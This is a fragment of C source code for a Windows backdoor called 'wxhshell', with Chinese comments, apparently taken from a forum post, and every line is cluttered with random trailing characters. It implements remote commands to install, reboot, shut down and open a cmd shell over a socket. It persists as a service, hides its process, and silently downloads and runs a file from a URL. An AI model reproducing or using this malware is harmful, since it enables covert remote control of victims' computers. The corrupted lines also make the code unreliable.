    switch(cmd[0]) { n=RAE^[M  
  k=[!{I  
  // 帮助 -[#Mx}%  
  case '?': { vd-`?/,||  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tg~&kaz  
    break; 66=6;77  
  } E{r_CR+8  
  // 安装 ,_T,B'a:  
  case 'i': { O0"i>}g4  
    if(Install()) =JyYU*G4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J+&AtGq]u  
    else  Iz2K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v,RLN`CID  
    break; Ms(;B*  
    } *&e+z-E  
  // 卸载 JRA.,tQc  
  case 'r': { _]tR1T5e  
    if(Uninstall()) .jr1<LE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ta!.oC[  
    else #hd<5+$U}l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JBE'B Q@  
    break; 6mEW*qp2F  
    } m7kDxs(KO  
  // 显示 wxhshell 所在路径 7F`QN18>(  
  case 'p': { tZa)sbz  
    char svExeFile[MAX_PATH]; @DkPJla&  
    strcpy(svExeFile,"\n\r"); yQhrPw> m  
      strcat(svExeFile,ExeFile); iTD}gC  
        send(wsh,svExeFile,strlen(svExeFile),0); T] EXm/  
    break; &tD`~  
    } 8Mg4y1)RU  
  // 重启 Oe$cM=Yf  
  case 'b': { ;y6Jo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 35RH|ci&  
    if(Boot(REBOOT)) "MC&!AMv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y%TR2CvT  
    else { 7L;yN..0  
    closesocket(wsh); PBn(k>=+  
    ExitThread(0); Q(k$HP  
    } Yc?taL)  
    break; <?qmB }Y  
    } h,140pW  
  // 关机 s ^V8FH  
  case 'd': { e,~c~Db* Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gyCb\y+\a  
    if(Boot(SHUTDOWN)) P603P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?]9uHrdsN}  
    else { <u2*(BM4  
    closesocket(wsh); wmo'Pl  
    ExitThread(0); ` V^#Sb  
    } /=e[(5X|O  
    break; q`$QroZT"  
    } {f^30Fw  
  // 获取shell /mD KQ<  
  case 's': { 'd U$QO  
    CmdShell(wsh); G~B V^  
    closesocket(wsh); VpV w:Rh>  
    ExitThread(0); 3l L:vD5(  
    break; =r-Wy.a@  
  } Qgx~'9   
  // 退出 TJ; v}HSo  
  case 'x': { =dA T^e##  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (ZEVbAY?i  
    CloseIt(wsh); |%RFXkHS  
    break; GU[ Cq=k  
    } `=KrV#/758  
  // 离开 zi-+@9T  
  case 'q': { TS[Z<m  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b$$XriD]  
    closesocket(wsh); :T{or-  
    WSACleanup(); E?9_i :IX  
    exit(1); 8V|-BP5^  
    break; \ 3LD^[qi  
        } n/|/Womr  
  } .ERO*Tj  
  } vy#c(:UQR  
~IqT >  
  // 提示信息 "mH^Owai  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .86..1  
} 4Dd9cG,lN  
  } F Q k;  
}jk^M|Z"Oz  
  return; jU#%@d6!#  
} Wey\GQ`"8  
hqds T  
// shell模块句柄 _ x'StD  
int CmdShell(SOCKET sock) +nZG!nP  
{ #-f^;=7  
STARTUPINFO si; 5-3gsy/Mo  
ZeroMemory(&si,sizeof(si)); ^7''x,I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .XE]vo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?#[K&$}  
PROCESS_INFORMATION ProcessInfo; l2v}PALs  
char cmdline[]="cmd"; K5ph x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '9[_ w$~(  
  return 0;  y]+A7|  
} U^YPL,m1  
|kd^]! _  
// 自身启动模式 lxz %b C@  
int StartFromService(void) }dR *bG  
{ MmK\|CtV  
typedef struct TSk6Q'L\v  
{ 0x & ^{P~  
  DWORD ExitStatus; ( 0h]<7  
  DWORD PebBaseAddress; SeTU`WLEm  
  DWORD AffinityMask; y5ExEXa  
  DWORD BasePriority; <?g{Rn  
  ULONG UniqueProcessId; Rq9gtx8,=  
  ULONG InheritedFromUniqueProcessId; Y5opZ G  
}   PROCESS_BASIC_INFORMATION; <@=NDUI3*,  
cs5Xd  
PROCNTQSIP NtQueryInformationProcess; MDq@:t  
,]Ma ,2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dkLR Q   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Pn#Lymxh_a  
#n7{ 3)   
  HANDLE             hProcess; xle29:?l  
  PROCESS_BASIC_INFORMATION pbi; dWUu3  
TGLXvP& \  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b2Hpuej  
  if(NULL == hInst ) return 0; d]^i1  
DIRCP=5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4jW{IGW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *Tlv'E.M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 72 6y/o  
8xX{y#  
  if (!NtQueryInformationProcess) return 0; 2P=;r:cx  
<*+ MBF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 88K*d8m  
  if(!hProcess) return 0; l rzW H0Q  
6>Cubb>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; meWAm?8RI  
^:j$p,0e*S  
  CloseHandle(hProcess); S`G\Cd;5  
'zb7:[[7%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8\9EDgT  
if(hProcess==NULL) return 0; ;GAYcVB  
q|l|gY1g)  
HMODULE hMod; _biJch  
char procName[255]; p1nA7;B-m  
unsigned long cbNeeded; p"@|2a  
f- <6T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f+V':qz  
7 'S]  
  CloseHandle(hProcess); +*V; f,  
"}! rM6 h  
if(strstr(procName,"services")) return 1; // 以服务启动 6{'6_4;Fv(  
nlW&(cH  
  return 0; // 注册表启动 {rZ"cUm  
} 1' m $_  
\0h/~3  
// 主模块 a"}#HvB+  
int StartWxhshell(LPSTR lpCmdLine) AX+d?M  
{ ~\ f^L?m  
  SOCKET wsl; h86={@Le  
BOOL val=TRUE; 4:$>,D\  
  int port=0; t5h_Q92N  
  struct sockaddr_in door; }=a4uCE  
9#ft;c  
  if(wscfg.ws_autoins) Install(); 4&e@>  
l,wN@Nk  
port=atoi(lpCmdLine); N_D+d4@  
2(Uz9!<V  
if(port<=0) port=wscfg.ws_port; P-[K*/bPw  
"\;wMR{  
  WSADATA data; Bq@wS\W>b}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _eV n#!|  
'qAfei']  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r%d 11[z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a}fClI-u  
  door.sin_family = AF_INET; Yj6p19  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "Q{~Bj~  
  door.sin_port = htons(port); 4/?}xD|?  
&Fjilx'k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1 ],, Ar5  
closesocket(wsl); D 'cY7P  
return 1; RH]>>tJ^e  
} *]R 0z|MW  
CqK#O'\  
  if(listen(wsl,2) == INVALID_SOCKET) { {yMA7W7]  
closesocket(wsl); v`^J3A  
return 1; UUu-(H-J  
} *`Xx_   
  Wxhshell(wsl); }Y`<(V5:  
  WSACleanup(); bpa O`[*  
]31XX=  
return 0; Xe;(y "pR  
8Ql'(5|T  
} bs EpET  
W'h0Zg  
// 以NT服务方式启动 VHr7GAmU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~49N  
{ 7G(f1Y  
DWORD   status = 0; Y{vwOs  
  DWORD   specificError = 0xfffffff; nDB 2>J  
NLZZMr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "%''k~UD 4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'z}M[h K]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [Am`5&J  
  serviceStatus.dwWin32ExitCode     = 0; |( 9#vt#  
  serviceStatus.dwServiceSpecificExitCode = 0; )S};k=kG  
  serviceStatus.dwCheckPoint       = 0; jS3(>  
  serviceStatus.dwWaitHint       = 0; F] ?@X  
4UD=Y?zK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U?mf^'RE  
  if (hServiceStatusHandle==0) return; E? eWv)//  
%=9yzIjbAt  
status = GetLastError(); h^+C)6(58n  
  if (status!=NO_ERROR) k\sM;bCv7  
{ Nv?-*&L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |"YA<e %  
    serviceStatus.dwCheckPoint       = 0; /CI%XocB  
    serviceStatus.dwWaitHint       = 0; S=H_9io  
    serviceStatus.dwWin32ExitCode     = status; =lC;^&D-0/  
    serviceStatus.dwServiceSpecificExitCode = specificError; hMeqs+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w zqd g  
    return; 3 t88AN=4  
  } 51G=RYay9  
)R8%'X;U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #3K,V8(  
  serviceStatus.dwCheckPoint       = 0; !\-4gr?`!  
  serviceStatus.dwWaitHint       = 0; KU|BT .o8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0vuKGjK  
} (y~laW!  
@>fO;*  
// 处理NT服务事件,比如:启动、停止 sCtw30BL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7e c0Xh1  
{ p/k<wCm6  
switch(fdwControl) poQdI?ed,  
{ F|?+>c1}  
case SERVICE_CONTROL_STOP: uR:=V9O  
  serviceStatus.dwWin32ExitCode = 0; Yi&-m}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m io1kDq<  
  serviceStatus.dwCheckPoint   = 0; twtkH~`"Q  
  serviceStatus.dwWaitHint     = 0; O5qW*r'  
  { ^0~c 7`k`V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'ZC}9=_g  
  } B3 dA%\'  
  return; [ .j]V-61  
case SERVICE_CONTROL_PAUSE: #PslrA. E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]A]Ft!`6z  
  break; q11QAx4p  
case SERVICE_CONTROL_CONTINUE: uKbHFF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b H"}w$!>r  
  break; f `y" a@  
case SERVICE_CONTROL_INTERROGATE: $89ea*k  
  break; sB( `[5I  
}; s[3![ "^Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3WCqKXJ7  
} jF2[bzY4  
hqs$yb  
// 标准应用程序主函数 sq~+1(X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ESD<8 OR  
{ 9p2>`L  
!@pV)RUv7  
// 获取操作系统版本 df4sOqU  
OsIsNt=GetOsVer(); M'umoZmW0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QJ#u[hsMFp  
&nqdl+|G*  
  // 从命令行安装 w|}W(=#  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,@Fgr(?'`>  
p@/(.uE  
  // 下载执行文件 M|UxE/  
if(wscfg.ws_downexe) { YX ;n6~y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j|[(*i%7|  
  WinExec(wscfg.ws_filenam,SW_HIDE); H DF"]l;  
} 3}B5hht "D  
ADYx.8M|9i  
if(!OsIsNt) { 8cK\myn.  
// 如果时win9x,隐藏进程并且设置为注册表启动 =w ^TcV  
HideProc(); lf%b0na?r  
StartWxhshell(lpCmdLine); >f\zCT%cf  
} -BA"3 S  
else ~$4]HDg  
  if(StartFromService()) -`!_h[   
  // 以服务方式启动 B2~f;zy`  
  StartServiceCtrlDispatcher(DispatchTable); h; 'W :P  
else F0&~ ?2nG  
  // 普通方式启动 )L |tn  
  StartWxhshell(lpCmdLine); bZ>&QM  
YH[XRUa  
return 0; {*QvC g?  
}
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只看该作者 1 发表于: 2006-10-10
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